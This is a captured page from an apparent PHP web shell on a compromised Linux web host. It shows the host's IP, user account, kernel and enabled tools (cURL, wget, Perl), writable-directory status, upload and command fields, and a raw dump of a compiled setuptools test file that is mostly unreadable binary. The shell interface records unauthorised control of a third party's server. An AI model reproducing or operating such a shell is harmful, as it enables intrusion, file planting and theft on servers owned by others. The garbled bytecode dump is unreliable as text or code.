403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/test_manifest.cpython-313.pyc
�

�h�H���%SrSSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKJ
r
JrJr SSKJr SSKJr SSKJr SSKJr S	\	R0;rS
rSSS/S
.rS\<S3r\R:S5rSr\ "\!"\/SQ55r"SS/SS/4SS//SQ4SSS/S/4S/SQS/4SS //4S!S"/S#/4S$/S%QS&/4S'S(S)/S*/4S+/S,Q/4S-/S.QS/S0/4S1S2S3//S4Q4S5/S6QS7/4S8S9//S:Q4/
r#S;\$S<'\RJRMS=\#55r'\RP"\'S>9S?5r)\RJRMS@\#55r*\RP"\*S>9SA5r+SBr,SCr-"SDSE5r."SFSG\.5r/"SHSI\.5r0g)Jzsdist tests�)�annotationsN)�FileList�egg_info�translate_pattern)�Distribution)�DALS)�log)�DistutilsTemplateError�__pypy__c�B�URS[R5$)z"Converts '/' in a string to os.sep�/)�replace�os�sep)�ss �@/usr/lib/python3/dist-packages/setuptools/tests/test_manifest.py�make_local_pathrs���9�9�S�"�&�&�!�!��appz0.0)�name�version�packagesz&from setuptools import setup

setup(**z)
c#�0# �[R[Rp[R"5[R"5s[l[lSv� Xs[l[lg!Xs[l[lf=f7f�N)�sys�stdout�stderr�io�StringIO)�
old_stdout�
old_stderrs  r�quietr",sT��� �Z�Z����
��[�[�]�B�K�K�M��C�J��
�8�
�!+���
�C�J�����
�C�J�s�AB� A;�$B�;B�Bc�8�[US5R5 g)N�wb)�open�close)�filenames r�touchr(6s����4���� r)�
README.rst�MANIFEST.in�setup.pyzapp.egg-info/PKG-INFOzapp.egg-info/SOURCES.txtz!app.egg-info/dependency_links.txtzapp.egg-info/top_level.txtzapp/__init__.py�foo�bar�foobar�foo/bar)zfoo/bar/bazz	./foo/barr,z*.txtzfoo.txtzbar.txtzfoo/foo.txtz	dir/*.txt)zdir/foo.txtzdir/bar.txtzdir/.txtznotdir/foo.txtz*/*.pyzbin/start.pyzdocs/page-?.txtzdocs/page-9.txtzdocs/page-10.txtz
foo/**/bar)zfoo/bing/barzfoo/bing/bang/barr/zfoo/abarzfoo/**zfoo/bar/bing.pyzfoo/xz/foo/xz**)�xzabc/xyzz@nythingzpre[one]post)�preopost�prenpost�preepost�prepost�
preonepostzhello[!one]world�helloxworld�helloyworld)�hellooworld�
helloworld�
hellooneworldz
[]one].txt)zo.txtz].txtze.txtzone].txtz
foo[!]one]bar�fooybar)zfoo]bar�fooobar�fooebarz&list[tuple[str, list[str], list[str]]]�translate_specsc#�h# �UH(upn[[R"U5U5v� M* g7fr��zip�	itertools�repeat��.0�pattern�matches�
mismatchess    r�	<genexpr>rI�s1���-�(7�$��*��	����!�7�+�+�(7���02)�paramsc�6�[[UR5$r��mapr�param��requests r�
pattern_matchrR�������
�
�.�.rc#�h# �UH(upn[[R"U5U5v� M* g7frr@rDs    rrIrI�s1���0�(7�$��*��	����!�:�.�.�(7�rJc�6�[[UR5$rrMrPs r�pattern_mismatchrV�rSrc�N�Uup[U5RU5(degr�r�match)rRrF�targets   r�test_translated_pattern_matchr[�s%��#�O�G��W�%�+�+�F�3�3�3�3rc�N�Uup[U5RU5(aegrrX)rVrFrZs   r� test_translated_pattern_mismatchr]�s(��&�O�G� ��)�/�/��7�7�7�7�7rc� �\rSrSrSrSrSrg)�TempDirTestCase�c��[R"5Ul[R"5Ul[R"UR5 gr)�tempfile�mkdtemp�temp_dirr�getcwd�old_cwd�chdir��self�methods  r�setup_method�TempDirTestCase.setup_method�s/�� �(�(�*��
��y�y�{���
������rc��[R"UR5 [R"UR
5 gr)rrgrf�shutil�rmtreerdrhs  r�teardown_method�TempDirTestCase.teardown_method�s"��
��������
�
�d�m�m�$r)rfrdN)�__name__�
__module__�__qualname__�__firstlineno__rkrp�__static_attributes__�rrr_r_�s�� �
%rr_c�p^�\rSrSrU4SjrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrU=r$)�TestManifestTest�c�>�[TU]U5 [[RRURS5SSS9nUR[5 UR5 SH6n[[RRURU55 M8 [RRURS5n[R"U5 SH+n[[RRXC55 M- [RRUS5n[R"U5 S	H+n[[RRXS55 M- g)
Nr+�w�utf-8��encoding)r)�.hidden.rst�testing.rst�LICENSEr)z__init__.py�a.txt�b.txtzc.rst�static)zapp.jsz
app.js.mapzapp.csszapp.css.map)�superrkr%r�path�joinrd�write�SETUP_PYr&r(�mkdir)rirj�f�fname�test_pkgr��	__class__s      �rrk�TestManifestTest.setup_method�s����
���V�$�������d�m�m�Z�8�#��P��	�����	���	�	�$M�E��"�'�'�,�,�t�}�}�e�4�5�M��7�7�<�<��
�
�u�5��
�����?�E��"�'�'�,�,�x�/�0�@������h��1��
�����G�E��"�'�'�,�,�v�-�.�Hrc���[RRURS5n[	USSS9nUR[
U55 SSS5 g!,(df   g=f)zWrite a MANIFEST.in.r*r|r}r~N)rr�r�rdr%r�r)ri�contents�manifestr�s    r�
make_manifest�TestManifestTest.make_manifest�sD���7�7�<�<��
�
�}�=��
�(�C�'�
2�a�
�G�G�D��N�#�3�
2�
2�s�A�
A(c���[[5nSUl[U5nUR	5 UR5 [
URR5$)z7Run egg_info and get all the files to include, as a setr+)	r�SETUP_ATTRS�script_namer�ensure_finalized�run�set�filelist�files)ri�dist�cmds   r�	get_files�TestManifestTest.get_files�sG���K�(��%����t�n���������	��3�<�<�%�%�&�&rc�R�[[S/5-
UR5:Xdeg)z=Check a missing MANIFEST.in includes only the standard files.r*N)�
default_filesr�r��ris r�test_no_manifest�!TestManifestTest.test_no_manifest�s#����]�O� 4�4����9I�I�I�Irc�Z�URS5 [UR5:Xdeg)z<Check an empty MANIFEST.in includes only the standard files.�N)r�r�r�r�s r�test_empty_files�!TestManifestTest.test_empty_files�s%�����2������ 0�0�0�0rc�x�URS5 [[SS/5-nXR5:Xdeg)z,Include extra rst files in the project root.z
include *.rstr�r�N)r�r�r�r�)rir�s  r�test_include�TestManifestTest.test_include�s7�����?�+���]�M�$B� C�C�����(�(�(�(rc��[nURS5 [[U"S5/5-nX R	5:Xdeg)z0Include everything in app/ except the text fileszE
            include app/*
            exclude app/*.txt
            �	app/c.rstN�rr�r�r�r��ri�mlr�s   r�test_exclude�TestManifestTest.test_exclude�sE��
�����
�	
���R��_�$5� 6�6�����(�(�(�(rc���[nURS5 [[U"S5U"S5U"S5U"S5U"S5U"S5/5-nX R	5:Xdeg)	zInclude with multiple patterns.zinclude app/*.txt app/static/*�	app/a.txt�	app/b.txt�app/static/app.js�app/static/app.js.map�app/static/app.css�app/static/app.css.mapNr�r�s   r�test_include_multiple�&TestManifestTest.test_include_multiple�ss��
�����;�<����{�O��{�O��"�#��&�'��#�$��'�(�
%
�!������(�(�(�(rc	��[nURS5 [[U"S5U"S5U"S5U"S5/5-nX R	5:Xdeg)�(Include the whole app/static/ directory.zgraft app/staticr�r�r�r�Nr�r�s   r�
test_graft�TestManifestTest.test_graft
se��
�����-�.����"�#��&�'��#�$��'�(�	%
�!������(�(�(�(rc	��[nURS5 [[U"S5U"S5U"S5U"S5/5-nX R	5:Xdeg)r�zgraft */staticr�r�r�r�Nr�r�s   r�test_graft_glob_syntax�'TestManifestTest.test_graft_glob_syntaxse��
�����+�,����"�#��&�'��#�$��'�(�	%
�!������(�(�(�(rc��[nURS5 [[U"S5U"S5/5-nX R	5:Xdeg)z'Exclude all *.map files in the project.zK
            graft app/static
            global-exclude *.map
            r�r�Nr�r�s   r�test_graft_global_exclude�*TestManifestTest.test_graft_global_exclude%sO��
�����
�	
���R�(;�%<�b�AU�>V�$W� X�X�����(�(�(�(rc
��[nURS5 [[SSU"S5U"S5U"S5/5-nX R	5:Xdeg)z;Include all *.rst, *.js, and *.css files in the whole tree.z9
            global-include *.rst *.js *.css
            r�r�r�r�r�Nr�r�s   r�test_global_include�$TestManifestTest.test_global_include1sf��
�����
�	
�
�����{�O��"�#��#�$�%
�!������(�(�(�(rc��[nURS5 [[U"S5U"S5U"S5/5-nX R	5:Xdeg)z@Include all files in app/, except for the whole app/static/ dir.z@
            graft app
            prune app/static
            r�r�r�Nr�r�s   r�test_graft_prune�!TestManifestTest.test_graft_pruneBsQ��
�����
�	
���R��_�b��o�r�+��$W� X�X�����(�(�(�(rrw)rrrsrtrurkr�r�r�r�r�r�r�r�r�r�r�r�rv�
__classcell__)r�s@rryry�sK���%/�N$�	'�J�1�
)�
)�)�
)�
)�
)�)�"
)�
)rryc���\rSrSrSr\R"\R"S5S:HS9S5r	Sr
SrS	rS
r
SrSrS
rSrSrSrSrSrSrSrSrSrSrg)�TestFileListTestiOz�
A copy of the relevant bits of distutils/tests/test_filelist.py,
to ensure setuptools' version of FileList keeps parity with distutils.
�SETUPTOOLS_USE_DISTUTILS�stdlib)�autousec�T^�U4SjnUR[RSU5 g)z Account for stdlib compatibilityc	�>�[R"5n[R"SUSSX#U5nTRRU5 g)N�	distutilsr�r)r�exc_info�logging�	LogRecord�records�append)�_logger�level�msg�args�exc�rec�caplogs      �r�_log�2TestFileListTest._compat_record_logs.<locals>._logYs:����,�,�.�C��#�#�K���A�s�#�N�C��N�N�!�!�#�&rr�N)�setattrr	�Log)ri�monkeypatchr�r�s  ` r�_compat_record_logs�$TestFileListTest._compat_record_logsUs ���	'�
	���C�G�G�V�T�2rc�h�URVs/sHo3RU;dMUPM sn$s snfr)r��levelno)rir��levels�rs    r�get_records�TestFileListTest.get_records`s'��!�>�>�A�>�a�Y�Y�&�-@��>�A�A��As�/�/c�p�URU[R5/:XdeUR5 gr)r�r	�WARN�clear�rir�s  r�assertNoWarnings�!TestFileListTest.assertNoWarningscs*���������1�R�7�7�7����rc���[(a(UR(d[R"S5 g[	URU[R55S:�deUR5 g)Nz'caplog checks may not work well in PyPyr)	�IS_PYPYr��pytest�xfail�lenr�r	r�r�r�s  r�assertWarnings�TestFileListTest.assertWarningsgsG���7�6�>�>��L�L�B�C��t�'�'�����9�:�Q�>�>�>��L�L�Nrc���UHnn[RRURU5n[RR	U5up4[R
"USS9 [
U5 Mp g)NT)�exist_ok)rr�r�rd�split�makedirsr()rir��file�dirname�	_basenames     r�
make_files�TestFileListTest.make_filesnsN���D��7�7�<�<��
�
�t�4�D�!#�����t�!4��G��K�K��$�/��$�K�	rc��[5n[nURSSSSSU"S5U"S5U"S5U"S	5U"S
5U"S5U"S5U"S
5U"S5U"S5/5 [S5nUR	S5HnU(dMURU5 M SSSU"S5U"S5U"S
5U"S5U"S5U"S5/	nUR
5 URU:Xdeg)Nzfoo.tmp�ok�xozfour.txtzbuildout.cfgz.hg/last-message.txtzglobal/one.txtzglobal/two.txtzglobal/files.xzglobal/here.tmpzf/o/f.ooz
dir/graft-onezdir/dir2/graft2zdir3/okzdir3/sub/ok.txta6        include ok
        include xo
        exclude xo
        include foo.tmp
        include buildout.cfg
        global-include *.x
        global-include *.txt
        global-exclude *.tmp
        recursive-include f *.oo
        recursive-exclude global *.x
        graft dir
        prune dir3
        �
)rrrrr��process_template_line�sortr�)ri�	file_listr��MANIFEST_IN�line�wanteds      r�test_process_template_line�+TestFileListTest.test_process_template_lineus&���J�	�
��	
��������
�%�&��� ��� ��� �� �!��z�N����� �!��y�M�� �!�#
�	�(�

�
��" �%�%�d�+�D����+�+�D�1�,�
����%�&����� �!��z�N��� ��� �

��	�������&�(�(�(rc�,�[5nURS5(ae[5nSS/UlURS5(de[5nSS/UlURS5 UR5 URS/:Xdeg)N�*.py�a.pyzb.pyr�)r�exclude_patternr�r�rirs  r�test_exclude_pattern�%TestFileListTest.test_exclude_pattern�s����J�	��,�,�V�4�4�4�4��J�	�!�6�*�	���(�(��0�0�0�0��J�	�!�7�+�	���!�!�&�)��������7�)�+�+�+rc�x�[5nUR/5 URS5(ae[5nURSS/5 URS5(de[5nURSS/5 URS5 UR5 URSS/:Xdeg)Nrrr��*)rr�include_patternrr�rs  r�test_include_pattern�%TestFileListTest.test_include_pattern�s����J�	�������,�,�V�4�4�4�4��J�	������)�*��(�(��0�0�0�0��J�	������)�*��!�!�#�&��������6�7�"3�3�3�3rc��[5nSH7n[R"[5 UR	U5 SSS5 M9 g!,(df   MK=f)N)	�include�excludezglobal-includezglobal-excludezrecursive-includezrecursive-exclude�graft�prune�blarg)rr��raisesr
r
)rir�actions   r�"test_process_template_line_invalid�3TestFileListTest.test_process_template_line_invalid�sC���J�	�

�F����5�6��/�/��7�7�6�

�7�6�s�A	�	
A	c��UR[R5 [n[	5nURSSU"S5/5 UR
S5 UR5 URS/:XdeURU5 UR
S5 UR5 URS/:XdeURU5 g)Nrr��d/c.pyzinclude *.pyzinclude *.rb��	set_levelr��DEBUGrrrr
rr�r�r��rir�r�rs    rr��TestFileListTest.test_include�s���������'�
���J�	������"�X�,�7�8��'�'��7��������6�(�*�*�*����f�%��'�'��7��������6�(�*�*�*����F�#rc��UR[R5 [n[	5nSSU"S5/UlUR
S5 UR5 UR
SU"S5/:XdeURU5 UR
S5 UR5 UR
SU"S5/:XdeURU5 g)Nrr�r)zexclude *.pyzexclude *.rb�
r+r�r,rrr�r
rr�r�r-s    rr��TestFileListTest.test_exclude�s���������'�
���J�	�!�7�B�x�L�9�	���'�'��7��������7�B�x�L�"9�9�9�9����f�%��'�'��7��������7�B�x�L�"9�9�9�9����F�#rc���UR[R5 [n[	5nURSSU"S5/5 UR
S5 UR5 URSU"S5/:XdeURU5 UR
S5 UR5 URSU"S5/:XdeURU5 g)Nrr�r)zglobal-include *.pyzglobal-include *.rbr*r-s    rr��$TestFileListTest.test_global_include
s���������'�
���J�	������"�X�,�7�8��'�'�(=�>��������6�2�h�<�"8�8�8�8����f�%��'�'�(=�>��������6�2�h�<�"8�8�8�8����F�#rc��UR[R5 [n[	5nSSU"S5/UlUR
S5 UR5 UR
S/:XdeURU5 UR
S5 UR5 UR
S/:XdeURU5 g)Nrr�r)zglobal-exclude *.pyzglobal-exclude *.rbr0r-s    r�test_global_exclude�$TestFileListTest.test_global_excludes���������'�
���J�	�!�7�B�x�L�9�	���'�'�(=�>��������7�)�+�+�+����f�%��'�'�(=�>��������7�)�+�+�+����F�#rc��UR[R5 [n[	5nURSU"S5U"S5U"S5/5 UR
S5 UR5 URU"S5U"S5/:XdeURU5 UR
S5 UR5 URU"S5U"S5/:XdeURU5 g)Nr�d/b.py�d/c.txt�d/d/e.pyzrecursive-include d *.pyzrecursive-include e *.pyr*r-s    r�test_recursive_include�'TestFileListTest.test_recursive_include,s���������'�
���J�	������H��r�)�}�b��n�M�N��'�'�(B�C��������2�h�<��J��"@�@�@�@����f�%��'�'�(B�C��������2�h�<��J��"@�@�@�@����F�#rc���UR[R5 [n[	5nSU"S5U"S5U"S5/UlUR
S5 UR5 UR
SU"S5/:XdeURU5 UR
S5 UR5 UR
SU"S5/:XdeURU5 g)Nrr8r9r:zrecursive-exclude d *.pyzrecursive-exclude e *.pyr0r-s    r�test_recursive_exclude�'TestFileListTest.test_recursive_exclude=s���������'�
���J�	�!�2�h�<��I���:��O�	���'�'�(B�C��������6�2�i�=�"9�9�9�9����f�%��'�'�(B�C��������6�2�i�=�"9�9�9�9����F�#rc��UR[R5 [n[	5nURSU"S5U"S5U"S5/5 UR
S5 UR5 URU"S5U"S5/:XdeURU5 UR
S5 UR5 URU"S5U"S5/:XdeURU5 g)Nrr8r:�f/f.pyzgraft dzgraft er*r-s    rr��TestFileListTest.test_graftNs���������'�
���J�	������H��r�*�~�r�(�|�L�M��'�'�	�2��������2�h�<��J��"@�@�@�@����f�%��'�'�	�2��������2�h�<��J��"@�@�@�@����F�#rc���UR[R5 [n[	5nSU"S5U"S5U"S5/UlUR
S5 UR5 UR
SU"S5/:XdeURU5 UR
S5 UR5 UR
SU"S5/:XdeURU5 g)Nrr8r:rAzprune dzprune er0r-s    r�
test_prune�TestFileListTest.test_prune_s���������'�
���J�	�!�2�h�<��J���H��N�	���'�'�	�2��������6�2�h�<�"8�8�8�8����f�%��'�'�	�2��������6�2�h�<�"8�8�8�8����F�#rrwN)rrrsrtru�__doc__r��fixturer�getenvr�r�r�r�rrrrr&r�r�r�r5r;r>r�rDrvrwrrr�r�Os����
�^�^�B�I�I�&@�A�X�M�N�3�O�3�B����=)�~,�"4�$8�"$�"$�"$�"$�"$�"$�"$�"$rr�)1rF�
__future__r�
contextlibrrBr�rrnrrbr��setuptools.command.egg_inforrr�setuptools.distr�setuptools.tests.textwraprr�r	�distutils.errorsr
�builtin_module_namesr�rr�r��contextmanagerr"r(�	frozensetrNr�r>�__annotations__�chain�
from_iterable�match_paramsrGrR�mismatch_paramsrVr[r]r_ryr�rwrr�<module>rWsa���"��	���	�
�
��
�M�M�(�*��3�
��0�0�
0��"�
������	�
��������8��8�!����		
���
�$�U�G�e�X�&�'����@�A��y�)�$�}�o�6��<�?O�>P�Q�
����$��*�+�.@�-A�B�	�8�	���	�	�G�$�	�
��	
�$�
��	�,�	�L�!��	�	�
�&�6��	�#�	���	�	��)��Q-;��7�-�\�
���,�,�-�(7�-������|�$�/�%�/��/�/�/�/�0�(7�0�������'�/�(�/�4�
8�
%�%�a)��a)�H_$��_$r

Youez - 2016 - github.com/yon3zu
LinuXploit